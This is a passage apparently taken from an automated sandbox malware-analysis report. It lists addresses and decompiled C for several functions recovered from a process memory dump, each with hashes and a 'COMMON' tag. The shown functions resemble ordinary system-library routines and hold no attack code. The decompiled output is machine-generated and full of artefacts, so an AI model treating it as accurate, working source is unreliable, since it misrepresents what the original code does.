0x00d5efa5
0x00d5efaa
0x00000000
0x00d5efac
0x00d5efac
0x00d5efac
0x00000000
0x00d5efb2
0x00d5f036
0x00d5f03a
0x00d5f040
0x00d5f090
0x00000000
0x00d5f092
0x00d5f042
0x00000000
0x00d5f042
0x00d5efb7
0x00d5efb9
0x00d5efbc
0x00d5efb0
0x00d5efb0
0x00000000
0x00d5efbe
0x00d5efbe
0x00d5efc1
0x00000000
0x00d5efc1
0x00d5efbc
0x00d5efaa
0x00d5ef91

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbecc144452e6e9740e37df579310400ca1de53fcc592e2907188de4c37816b0
Instruction ID: f3d7ad45d7d1ac3274e2412fe352499920a568ed7afc5e61f042254b55ab6a81
Opcode Fuzzy Hash: fbecc144452e6e9740e37df579310400ca1de53fcc592e2907188de4c37816b0
Instruction Fuzzy Hash: 5551F330A042459FDF24CB68C1907AEBBB1AF15315F2C81B9DC859B282C775AE8DD7B1

Uniqueness

Uniqueness Score: -1.00%

Function 00E1740D, Relevance: .1, Instructions: 141
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E00E1740D(intOrPtr __ecx, signed short* __edx, intOrPtr _a4) {
				signed short* _v8;
				intOrPtr _v12;
				intOrPtr _t55;
				void* _t56;
				intOrPtr* _t66;
				intOrPtr* _t69;
				void* _t74;
				intOrPtr* _t78;
				intOrPtr* _t81;
				intOrPtr* _t82;
				intOrPtr _t83;
				signed short* _t84;
				intOrPtr _t85;
				signed int _t87;
				intOrPtr* _t90;
				intOrPtr* _t93;
				intOrPtr* _t94;
				void* _t98;

				_t84 = __edx;
				_t80 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t55 = __ecx;
				_v8 = __edx;
				_t87 =  *__edx & 0x0000ffff;
				_v12 = __ecx;
				_t3 = _t55 + 0x154; // 0x154
				_t93 = _t3;
				_t78 =  *_t93;
				_t4 = _t87 + 2; // 0x2
				_t56 = _t4;
				while(_t78 != _t93) {
					if( *((intOrPtr*)(_t78 + 0x14)) != _t56) {
						L4:
						_t78 =  *_t78;
						continue;
					} else {
						_t7 = _t78 + 0x18; // 0x18
						if(E00D9D4F0(_t7, _t84[2], _t87) == _t87) {
							_t40 = _t78 + 0xc; // 0xc
							_t94 = _t40;
							_t90 =  *_t94;
							while(_t90 != _t94) {
								_t41 = _t90 + 8; // 0x8
								_t74 = E00D8F380(_a4, _t41, 0x10);
								_t98 = _t98 + 0xc;
								if(_t74 != 0) {
									_t90 =  *_t90;
									continue;
								}
								goto L12;
							}
							_t82 = L00D64620(_t80,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0x18);
							if(_t82 != 0) {
								_t46 = _t78 + 0xc; // 0xc
								_t69 = _t46;
								asm("movsd");
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t85 =  *_t69;
								if( *((intOrPtr*)(_t85 + 4)) != _t69) {
									L20:
									_t82 = 3;
									asm("int 0x29");
								}
								 *((intOrPtr*)(_t82 + 4)) = _t69;
								 *_t82 = _t85;
								 *((intOrPtr*)(_t85 + 4)) = _t82;
								 *_t69 = _t82;
								 *(_t78 + 8) =  *(_t78 + 8) + 1;
								 *(_v12 + 0xdc) =  *(_v12 + 0xdc) | 0x00000010;
								goto L11;
							} else {
								L18:
								_push(0xe);
								_pop(0);
							}
						} else {
							_t84 = _v8;
							_t9 = _t87 + 2; // 0x2
							_t56 = _t9;
							goto L4;
						}
					}
					L12:
					return 0;
				}
				_t10 = _t87 + 0x1a; // 0x1a
				_t78 = L00D64620(_t80,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t10);
				if(_t78 == 0) {
					goto L18;
				} else {
					_t12 = _t87 + 2; // 0x2
					 *((intOrPtr*)(_t78 + 0x14)) = _t12;
					_t16 = _t78 + 0x18; // 0x18
					E00D8F3E0(_t16, _v8[2], _t87);
					 *((short*)(_t78 + _t87 + 0x18)) = 0;
					_t19 = _t78 + 0xc; // 0xc
					_t66 = _t19;
					 *((intOrPtr*)(_t66 + 4)) = _t66;
					 *_t66 = _t66;
					 *(_t78 + 8) =  *(_t78 + 8) & 0x00000000;
					_t81 = L00D64620(_t80,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0x18);
					if(_t81 == 0) {
						goto L18;
					} else {
						_t26 = _t78 + 0xc; // 0xc
						_t69 = _t26;
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_t85 =  *_t69;
						if( *((intOrPtr*)(_t85 + 4)) != _t69) {
							goto L20;
						} else {
							 *((intOrPtr*)(_t81 + 4)) = _t69;
							 *_t81 = _t85;
							 *((intOrPtr*)(_t85 + 4)) = _t81;
							 *_t69 = _t81;
							_t83 = _v12;
							 *(_t78 + 8) = 1;
							 *(_t83 + 0xdc) =  *(_t83 + 0xdc) | 0x00000010;
							_t34 = _t83 + 0x154; // 0x1ba
							_t69 = _t34;
							_t85 =  *_t69;
							if( *((intOrPtr*)(_t85 + 4)) != _t69) {
								goto L20;
							} else {
								 *_t78 = _t85;
								 *((intOrPtr*)(_t78 + 4)) = _t69;
								 *((intOrPtr*)(_t85 + 4)) = _t78;
								 *_t69 = _t78;
								 *(_t83 + 0xdc) =  *(_t83 + 0xdc) | 0x00000010;
							}
						}
						goto L11;
					}
				}
				goto L12;
			}

0x00e1740d
0x00e1740d
0x00e17412
0x00e17413
0x00e17416
0x00e17418
0x00e1741c
0x00e1741f
0x00e17422
0x00e17422
0x00e17428
0x00e1742a
0x00e1742a
0x00e17451
0x00e17432
0x00e1744f
0x00e1744f
0x00000000
0x00e17434
0x00e17438
0x00e17443
0x00e17517
0x00e17517
0x00e1751a
0x00e17535
0x00e17520
0x00e17527
0x00e1752c
0x00e17531
0x00e17533
0x00000000
0x00e17533
0x00000000
0x00e17531
0x00e1754b
0x00e1754f
0x00e1755c
0x00e1755c
0x00e1755f
0x00e17560
0x00e17561
0x00e17562
0x00e17563
0x00e17568
0x00e1756a
0x00e1756c
0x00e1756d
0x00e1756d
0x00e1756f
0x00e17572
0x00e17574
0x00e17577
0x00e1757c
0x00e1757f
0x00000000
0x00e17551
0x00e17551
0x00e17551
0x00e17553
0x00e17553
0x00e17449
0x00e17449
0x00e1744c
0x00e1744c
0x00000000
0x00e1744c
0x00e17443
0x00e1750e
0x00e17514
0x00e17514
0x00e17455
0x00e17469
0x00e1746d
0x00000000
0x00e17473
0x00e17473
0x00e17476
0x00e17480
0x00e17484
0x00e1748e
0x00e17493
0x00e17493
0x00e17496
0x00e17499
0x00e174a1
0x00e174b1
0x00e174b5
0x00000000
0x00e174bb
0x00e174c1
0x00e174c1
0x00e174c4
0x00e174c5
0x00e174c6
0x00e174c7
0x00e174c8
0x00e174cd
0x00000000
0x00e174d3
0x00e174d3
0x00e174d6
0x00e174d8
0x00e174db
0x00e174dd
0x00e174e0
0x00e174e7
0x00e174ee
0x00e174ee
0x00e174f4
0x00e174f9
0x00000000
0x00e174fb
0x00e174fb
0x00e174fd
0x00e17500
0x00e17503
0x00e17505
0x00e17505
0x00e174f9
0x00000000
0x00e174cd
0x00e174b5
0x00000000

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01a4d08349e29d22493120a27b3d49beb444160764ac4f0ac8d9a4757e3060ec
Instruction ID: 8e3331a6c7e2b3b35cd58c81c0cd8527656c166683d63abc8ab414cce1df9a22
Opcode Fuzzy Hash: 01a4d08349e29d22493120a27b3d49beb444160764ac4f0ac8d9a4757e3060ec
Instruction Fuzzy Hash: 76518E71604606EFCB15CF54C581A96BBB6FF45708F15C1BAE908AF212E371E986CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00D72990, Relevance: .1, Instructions: 133
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E00D72990() {
				signed int* _t62;
				signed int _t64;
				intOrPtr _t66;
				signed short* _t69;
				intOrPtr _t76;
				signed short* _t79;
				void* _t81;
				signed int _t82;
				signed short* _t83;
				signed int _t87;
				intOrPtr _t91;
				void* _t98;
				signed int _t99;
				void* _t101;
				signed int* _t102;
				void* _t103;
				void* _t104;
				void* _t107;

				_push(0x20);
				_push(0xe1ff00);
				E00D9D08C(_t81, _t98, _t101);
				 *((intOrPtr*)(_t103 - 0x28)) =  *[fs:0x18];
				_t99 = 0;
				 *((intOrPtr*)( *((intOrPtr*)(_t103 + 0x1c)))) = 0;
				_t82 =  *((intOrPtr*)(_t103 + 0x10));
				if(_t82 == 0) {
					_t62 = 0xc0000100;
				} else {
					 *((intOrPtr*)(_t103 - 4)) = 0;
					_t102 = 0xc0000100;
					 *((intOrPtr*)(_t103 - 0x30)) = 0xc0000100;
					_t64 = 4;
					while(1) {
						 *(_t103 - 0x24) = _t64;
						if(_t64 == 0) {
							break;
						}
						_t87 = _t64 * 0xc;
						 *(_t103 - 0x2c) = _t87;
						_t107 = _t82 -  *((intOrPtr*)(_t87 + 0xd21664));
						if(_t107 <= 0) {
							if(_t107 == 0) {
								_t79 = E00D8E5C0( *((intOrPtr*)(_t103 + 0xc)),  *((intOrPtr*)(_t87 + 0xd21668)), _t82);
								_t104 = _t104 + 0xc;
								__eflags = _t79;
								if(__eflags == 0) {
									_t102 = E00DC51BE(_t82,  *((intOrPtr*)( *(_t103 - 0x2c) + 0xd2166c)),  *((intOrPtr*)(_t103 + 0x14)), _t99, _t102, __eflags,  *((intOrPtr*)(_t103 + 0x18)),  *((intOrPtr*)(_t103 + 0x1c)));
									 *((intOrPtr*)(_t103 - 0x30)) = _t102;
									break;
								} else {
									_t64 =  *(_t103 - 0x24);
									goto L5;
								}
								goto L13;
							} else {
								L5:
								_t64 = _t64 - 1;
								continue;
							}
						}
						break;
					}
					 *((intOrPtr*)(_t103 - 0x1c)) = _t102;
					__eflags = _t102;
					if(_t102 < 0) {
						__eflags = _t102 - 0xc0000100;
						if(_t102 == 0xc0000100) {
							_t83 =  *((intOrPtr*)(_t103 + 8));
							__eflags = _t83;
							if(_t83 != 0) {
								 *((intOrPtr*)(_t103 - 0x20)) = _t83;
								__eflags =  *_t83 - _t99;
								if( *_t83 == _t99) {
									_t102 = 0xc0000100;
									goto L19;
								} else {
									_t91 =  *((intOrPtr*)( *((intOrPtr*)(_t103 - 0x28)) + 0x30));
									_t66 =  *((intOrPtr*)(_t91 + 0x10));
									__eflags =  *((intOrPtr*)(_t66 + 0x48)) - _t83;
									if( *((intOrPtr*)(_t66 + 0x48)) == _t83) {
										__eflags =  *((intOrPtr*)(_t91 + 0x1c));
										if( *((intOrPtr*)(_t91 + 0x1c)) == 0) {
											L26:
											_t102 = E00D72AE4(_t103 - 0x20,  *((intOrPtr*)(_t103 + 0xc)), _t82,  *((intOrPtr*)(_t103 + 0x14)),  *((intOrPtr*)(_t103 + 0x18)),  *((intOrPtr*)(_t103 + 0x1c)));
											 *((intOrPtr*)(_t103 - 0x1c)) = _t102;
											__eflags = _t102 - 0xc0000100;
											if(_t102 != 0xc0000100) {
												goto L12;
											} else {
												_t99 = 1;
												_t83 =  *((intOrPtr*)(_t103 - 0x20));
												goto L18;
											}
										} else {
											_t69 = E00D56600( *((intOrPtr*)(_t91 + 0x1c)));
											__eflags = _t69;
											if(_t69 != 0) {
												goto L26;
											} else {
												_t83 =  *((intOrPtr*)(_t103 + 8));
												goto L18;
											}
										}
									} else {
										L18:
										_t102 = E00D72C50(_t83,  *((intOrPtr*)(_t103 + 0xc)), _t82,  *((intOrPtr*)(_t103 + 0x14)),  *((intOrPtr*)(_t103 + 0x18)),  *((intOrPtr*)(_t103 + 0x1c)), _t99);
										L19:
										 *((intOrPtr*)(_t103 - 0x1c)) = _t102;
										goto L12;
									}
								}
								L28:
							} else {
								E00D5EEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
								 *((intOrPtr*)(_t103 - 4)) = 1;
								 *((intOrPtr*)(_t103 - 0x20)) =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t103 - 0x28)) + 0x30)) + 0x10)) + 0x48));
								_t102 =  *((intOrPtr*)(_t103 + 0x1c));
								_t76 = E00D72AE4(_t103 - 0x20,  *((intOrPtr*)(_t103 + 0xc)), _t82,  *((intOrPtr*)(_t103 + 0x14)),  *((intOrPtr*)(_t103 + 0x18)), _t102);
								 *((intOrPtr*)(_t103 - 0x1c)) = _t76;
								__eflags = _t76 - 0xc0000100;
								if(_t76 == 0xc0000100) {
									 *((intOrPtr*)(_t103 - 0x1c)) = E00D72C50( *((intOrPtr*)(_t103 - 0x20)),  *((intOrPtr*)(_t103 + 0xc)), _t82,  *((intOrPtr*)(_t103 + 0x14)),  *((intOrPtr*)(_t103 + 0x18)), _t102, 1);
								}
								 *((intOrPtr*)(_t103 - 4)) = _t99;
								E00D72ACB();
							}
						}
					}
					L12:
					 *((intOrPtr*)(_t103 - 4)) = 0xfffffffe;
					_t62 = _t102;
				}
				L13:
				return E00D9D0D1(_t62);
				goto L28;
			}

0x00d72990
0x00d72992
0x00d72997
0x00d729a3
0x00d729a6
0x00d729ab
0x00d729ad
0x00d729b2
0x00db5c80
0x00d729b8
0x00d729b8
0x00d729bb
0x00d729c0
0x00d729c5
0x00d729c6
0x00d729c6
0x00d729cb
0x00000000
0x00000000
0x00d729cd
0x00d729d0
0x00d729d9
0x00d729db
0x00d729dd
0x00d72a7f
0x00d72a84
0x00d72a87
0x00d72a89
0x00db5ca1
0x00db5ca3
0x00000000
0x00d72a8f
0x00d72a8f
0x00000000
0x00d72a8f
0x00000000
0x00d729e3
0x00d729e3
0x00d729e3
0x00000000
0x00d729e3
0x00d729dd
0x00000000
0x00d729db
0x00d729e6
0x00d729e9
0x00d729eb
0x00d729ed
0x00d729f3
0x00d729f5
0x00d729f8
0x00d729fa
0x00d72a97
0x00d72a9a
0x00d72a9d
0x00d72add
0x00000000
0x00d72a9f
0x00d72aa2
0x00d72aa5
0x00d72aa8
0x00d72aab
0x00db5cab
0x00db5caf
0x00db5cc5
0x00db5cda
0x00db5cdc
0x00db5cdf
0x00db5ce5
0x00000000
0x00db5ceb
0x00db5ced
0x00db5cee
0x00000000
0x00db5cee
0x00db5cb1
0x00db5cb4
0x00db5cb9
0x00db5cbb
0x00000000
0x00db5cbd
0x00db5cbd
0x00000000
0x00db5cbd
0x00db5cbb
0x00d72ab1
0x00d72ab1
0x00d72ac4
0x00d72ac6
0x00d72ac6
0x00000000
0x00d72ac6
0x00d72aab
0x00000000
0x00d72a00
0x00d72a09
0x00d72a0e
0x00d72a21
0x00d72a24
0x00d72a35
0x00d72a3a
0x00d72a3d
0x00d72a42
0x00d72a59
0x00d72a59
0x00d72a5c
0x00d72a5f
0x00d72a5f
0x00d729fa
0x00d729f3
0x00d72a64
0x00d72a64
0x00d72a6b
0x00d72a6b
0x00d72a6d
0x00d72a72
0x00000000

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8f336bb5764f3e3269ade734577a602c044af47c06c1a3c02a2dd2f79d7bdbb
Instruction ID: 1063a15c61ede5045ea8e7d0b7b22b620171452e8e8250d813ab2d806a9c35c8
Opcode Fuzzy Hash: e8f336bb5764f3e3269ade734577a602c044af47c06c1a3c02a2dd2f79d7bdbb
Instruction Fuzzy Hash: 3A513671900249DFCF25DF55C881AEEBBB6FB58310F188059E919AB211E3359D92DFB0

Uniqueness

Uniqueness Score: -1.00%

Function 00D74D3B, Relevance: .1, Instructions: 131
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E00D74D3B(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v12;
				char _v176;
				char _v177;
				char _v184;
				intOrPtr _v192;
				intOrPtr _v196;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed short _t42;
				char* _t44;
				intOrPtr _t46;
				intOrPtr _t50;
				char* _t57;
				intOrPtr _t59;
				intOrPtr _t67;
				signed int _t69;

				_t64 = __edx;
				_v12 =  *0xe3d360 ^ _t69;
				_t65 = 0xa0;
				_v196 = __edx;
				_v177 = 0;
				_t67 = __ecx;
				_v192 = __ecx;
				E00D8FA60( &_v176, 0, 0xa0);
				_t57 =  &_v176;
				_t59 = 0xa0;
				if( *0xe37bc8 != 0) {
					L3:
					while(1) {
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_t67 = _v192;
						 *((intOrPtr*)(_t57 + 0x10)) = _a4;
						 *(_t57 + 0x24) =  *(_t57 + 0x24) & 0x00000000;
						 *(_t57 + 0x14) =  *(_t67 + 0x34) & 0x0000ffff;
						 *((intOrPtr*)(_t57 + 0x20)) = _v196;
						_push( &_v184);
						_push(_t59);
						_push(_t57);
						_push(0xa0);
						_push(_t57);
						_push(0xf);
						_t42 = E00D8B0B0();
						if(_t42 != 0xc0000023) {
							break;
						}
						if(_v177 != 0) {
							L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t57);
						}
						_v177 = 1;
						_t44 = L00D64620(_t59,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v184);
						_t59 = _v184;
						_t57 = _t44;
						if(_t57 != 0) {
							continue;
						} else {
							_t42 = 0xc0000017;
							break;
						}
					}
					if(_t42 != 0) {
						_t65 = E00D4CCC0(_t42);
						if(_t65 != 0) {
							L10:
							if(_v177 != 0) {
								if(_t57 != 0) {
									L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t57);
								}
							}
							_t46 = _t65;
							L12:
							return E00D8B640(_t46, _t57, _v12 ^ _t69, _t64, _t65, _t67);
						}
						L7:
						_t50 = _a4;
						 *((intOrPtr*)(_t67 + 0x30)) =  *((intOrPtr*)(_t57 + 0x18));
						if(_t50 != 3) {
							if(_t50 == 2) {
								goto L8;
							}
							L9:
							if(E00D8F380(_t67 + 0xc, 0xd25138, 0x10) == 0) {
								 *0xe360d8 = _t67;
							}
							goto L10;
						}
						L8:
						_t64 = _t57 + 0x28;
						E00D74F49(_t67, _t57 + 0x28);
						goto L9;
					}
					_t65 = 0;
					goto L7;
				}
				if(E00D74E70(0xe386b0, 0xd75690, 0, 0) != 0) {
					_t46 = E00D4CCC0(_t56);
					goto L12;
				} else {
					_t59 = 0xa0;
					goto L3;
				}
			}

0x00d74d3b
0x00d74d4d
0x00d74d53
0x00d74d58
0x00d74d65
0x00d74d6c
0x00d74d71
0x00d74d77
0x00d74d7f
0x00d74d8c
0x00d74d8e
0x00d74dad
0x00d74db0
0x00d74db7
0x00d74db8
0x00d74db9
0x00d74dba
0x00d74dbb
0x00d74dc1
0x00d74dc8
0x00d74dcc
0x00d74dd5
0x00d74dde
0x00d74ddf
0x00d74de0
0x00d74de1
0x00d74de6
0x00d74de7
0x00d74de9
0x00d74df3
0x00000000
0x00000000
0x00db6c7c
0x00db6c8a
0x00db6c8a
0x00db6c9d
0x00db6ca7
0x00db6cac
0x00db6cb2
0x00db6cb9
0x00000000
0x00db6cbf
0x00db6cbf
0x00000000
0x00db6cbf
0x00db6cb9
0x00d74dfb
0x00db6ccf
0x00db6cd3
0x00d74e32
0x00d74e39
0x00db6ce0
0x00db6cf2
0x00db6cf2
0x00db6ce0
0x00d74e3f
0x00d74e41
0x00d74e51
0x00d74e51
0x00d74e03
0x00d74e03
0x00d74e09
0x00d74e0f
0x00d74e57
0x00000000
0x00000000
0x00d74e1b
0x00d74e30
0x00d74e5b
0x00d74e5b
0x00000000
0x00d74e30
0x00d74e11
0x00d74e11
0x00d74e16
0x00000000
0x00d74e16
0x00d74e01
0x00000000
0x00d74e01
0x00d74da5
0x00db6c6b
0x00000000
0x00d74dab
0x00d74dab
0x00000000
0x00d74dab

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f87266b5d3922d328d0a2d90c93e4cf2e7acd2145b5a84cac74d3b87c3a61d1
Instruction ID: f72f33ddcc0556890434a2e680c4e5430a4d4b29a91ce468546c895d94f43b8f
Opcode Fuzzy Hash: 1f87266b5d3922d328d0a2d90c93e4cf2e7acd2145b5a84cac74d3b87c3a61d1
Instruction Fuzzy Hash: 1F418471A403189FEB32DF14CC81FAABBA9EB45720F148099F98997281E774DD44CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 00D74BAD, Relevance: .1, Instructions: 131
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00D74BAD(intOrPtr __ecx, short __edx, signed char _a4, signed short _a8) {
				signed int _v8;
				short _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				char _v36;
				char _v156;
				short _v158;
				intOrPtr _v160;
				char _v164;
				intOrPtr _v168;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t45;
				intOrPtr _t74;
				signed char _t77;
				intOrPtr _t84;
				char* _t85;
				void* _t86;
				intOrPtr _t87;
				signed short _t88;
				signed int _t89;

				_t83 = __edx;
				_v8 =  *0xe3d360 ^ _t89;
				_t45 = _a8 & 0x0000ffff;
				_v158 = __edx;
				_v168 = __ecx;
				if(_t45 == 0) {
					L22:
					_t86 = 6;
					L12:
					E00D4CC50(_t86);
					L11:
					return E00D8B640(_t86, _t77, _v8 ^ _t89, _t83, _t84, _t86);
				}
				_t77 = _a4;
				if((_t77 & 0x00000001) != 0) {
					goto L22;
				}
				_t8 = _t77 + 0x34; // 0xdce0ba00
				if(_t45 !=  *_t8) {
					goto L22;
				}
				_t9 = _t77 + 0x24; // 0xe38504
				E00D62280(_t9, _t9);
				_t87 = 0x78;
				 *(_t77 + 0x2c) =  *( *[fs:0x18] + 0x24);
				E00D8FA60( &_v156, 0, _t87);
				_t13 = _t77 + 0x30; // 0x3db8
				_t85 =  &_v156;
				_v36 =  *_t13;
				_v28 = _v168;
				_v32 = 0;
				_v24 = 0;
				_v20 = _v158;
				_v160 = 0;
				while(1) {
					_push( &_v164);
					_push(_t87);
					_push(_t85);
					_push(0x18);
					_push( &_v36);
					_push(0x1e);
					_t88 = E00D8B0B0();
					if(_t88 != 0xc0000023) {
						break;
					}
					if(_t85 !=  &_v156) {
						L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t85);
					}
					_t84 = L00D64620(0,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v164);
					_v168 = _v164;
					if(_t84 == 0) {
						_t88 = 0xc0000017;
						goto L19;
					} else {
						_t74 = _v160 + 1;
						_v160 = _t74;
						if(_t74 >= 0x10) {
							L19:
							_t86 = E00D4CCC0(_t88);
							if(_t86 != 0) {
								L8:
								 *(_t77 + 0x2c) =  *(_t77 + 0x2c) & 0x00000000;
								_t30 = _t77 + 0x24; // 0xe38504
								E00D5FFB0(_t77, _t84, _t30);
								if(_t84 != 0 && _t84 !=  &_v156) {
									L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t84);
								}
								if(_t86 != 0) {
									goto L12;
								} else {
									goto L11;
								}
							}
							L6:
							 *(_t77 + 0x36) =  *(_t77 + 0x36) | 0x00004000;
							if(_v164 != 0) {
								_t83 = _t84;
								E00D74F49(_t77, _t84);
							}
							goto L8;
						}
						_t87 = _v168;
						continue;
					}
				}
				if(_t88 != 0) {
					goto L19;
				}
				goto L6;
			}

0x00d74bad
0x00d74bbf
0x00d74bc2
0x00d74bc6
0x00d74bcd
0x00d74bd9
0x00db67fe
0x00db6800
0x00d74ccc
0x00d74ccd
0x00d74cb7
0x00d74cc9
0x00d74cc9
0x00d74bdf
0x00d74be5
0x00000000
0x00000000
0x00d74beb
0x00d74bef
0x00000000
0x00000000
0x00d74bf5
0x00d74bf9
0x00d74c06
0x00d74c0b
0x00d74c17
0x00d74c1c
0x00d74c1f
0x00d74c25
0x00d74c33
0x00d74c3d
0x00d74c40
0x00d74c43
0x00d74c47
0x00d74c4d
0x00d74c53
0x00d74c54
0x00d74c55
0x00d74c56
0x00d74c5b
0x00d74c5c
0x00d74c63
0x00d74c6b
0x00000000
0x00000000
0x00db6776
0x00db6784
0x00db6784
0x00db679f
0x00db67a7
0x00db67af
0x00db67ce
0x00000000
0x00db67b1
0x00db67b7
0x00db67b8
0x00db67c1
0x00db67d3
0x00db67d9
0x00db67dd
0x00d74c94
0x00d74c94
0x00d74c98
0x00d74c9c
0x00d74ca3
0x00db67f4
0x00db67f4
0x00d74cb5
0x00000000
0x00000000
0x00000000
0x00000000
0x00d74cb5
0x00d74c79
0x00d74c7e
0x00d74c89
0x00d74c8b
0x00d74c8f
0x00d74c8f
0x00000000
0x00d74c89
0x00db67c3
0x00000000
0x00db67c3
0x00db67af
0x00d74c73
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d2c2a1f5bae216da40203660eaf7cffbfcc755f95ed14fe00755aa01ef0b0c1
Instruction ID: 89d694e9fc7dd64876db4968ba663c215e6993a533848969b53539d8dec0a8dc
Opcode Fuzzy Hash: 9d2c2a1f5bae216da40203660eaf7cffbfcc755f95ed14fe00755aa01ef0b0c1
Instruction Fuzzy Hash: E741AF35A01228DBCB22DF68C941BEA77B4EF45710F0540A5E909AB641EB78DE84CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 00D58A0A, Relevance: .1, Instructions: 120
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00D58A0A(intOrPtr* __ecx, signed int __edx) {
				signed int _v8;
				char _v524;
				signed int _v528;
				void* _v532;
				char _v536;
				char _v540;
				char _v544;
				intOrPtr* _v548;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t44;
				void* _t46;
				void* _t48;
				signed int _t53;
				signed int _t55;
				intOrPtr* _t62;
				void* _t63;
				unsigned int _t75;
				signed int _t79;
				unsigned int _t81;
				unsigned int _t83;
				signed int _t84;
				void* _t87;

				_t76 = __edx;
				_v8 =  *0xe3d360 ^ _t84;
				_v536 = 0x200;
				_t79 = 0;
				_v548 = __edx;
				_v544 = 0;
				_t62 = __ecx;
				_v540 = 0;
				_v532 =  &_v524;
				if(__edx == 0 || __ecx == 0) {
					L6:
					return E00D8B640(_t79, _t62, _v8 ^ _t84, _t76, _t79, _t81);
				} else {
					_v528 = 0;
					E00D5E9C0(1, __ecx, 0, 0,  &_v528);
					_t44 = _v528;
					_t81 =  *(_t44 + 0x48) & 0x0000ffff;
					_v528 =  *(_t44 + 0x4a) & 0x0000ffff;
					_t46 = 0xa;
					_t87 = _t81 - _t46;
					if(_t87 > 0 || _t87 == 0) {
						 *_v548 = 0xd21180;
						L5:
						_t79 = 1;
						goto L6;
					} else {
						_t48 = E00D71DB5(_t62,  &_v532,  &_v536);
						_t76 = _v528;
						if(_t48 == 0) {
							L9:
							E00D83C2A(_t81, _t76,  &_v544);
							 *_v548 = _v544;
							goto L5;
						}
						_t62 = _v532;
						if(_t62 != 0) {
							_t83 = (_t81 << 0x10) + (_t76 & 0x0000ffff);
							_t53 =  *_t62;
							_v528 = _t53;
							if(_t53 != 0) {
								_t63 = _t62 + 4;
								_t55 = _v528;
								do {
									if( *((intOrPtr*)(_t63 + 0x10)) == 1) {
										if(E00D58999(_t63,  &_v540) == 0) {
											_t55 = _v528;
										} else {
											_t75 = (( *(_v540 + 0x14) & 0x0000ffff) << 0x10) + ( *(_v540 + 0x16) & 0x0000ffff);
											_t55 = _v528;
											if(_t75 >= _t83) {
												_t83 = _t75;
											}
										}
									}
									_t63 = _t63 + 0x14;
									_t55 = _t55 - 1;
									_v528 = _t55;
								} while (_t55 != 0);
								_t62 = _v532;
							}
							if(_t62 !=  &_v524) {
								L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t79, _t62);
							}
							_t76 = _t83 & 0x0000ffff;
							_t81 = _t83 >> 0x10;
						}
						goto L9;
					}
				}
			}

0x00d58a0a
0x00d58a1c
0x00d58a23
0x00d58a2e
0x00d58a30
0x00d58a36
0x00d58a3c
0x00d58a3e
0x00d58a4a
0x00d58a52
0x00d58a9c
0x00d58aae
0x00d58a58
0x00d58a5e
0x00d58a6a
0x00d58a6f
0x00d58a75
0x00d58a7d
0x00d58a85
0x00d58a86
0x00d58a89
0x00d58a93
0x00d58a99
0x00d58a9b
0x00000000
0x00d58aaf
0x00d58abe
0x00d58ac3
0x00d58acb
0x00d58ad7
0x00d58ae0
0x00d58af1
0x00000000
0x00d58af1
0x00d58acd
0x00d58ad5
0x00d58afb
0x00d58afd
0x00d58aff
0x00d58b07
0x00d58b22
0x00d58b24
0x00d58b2a
0x00d58b2e
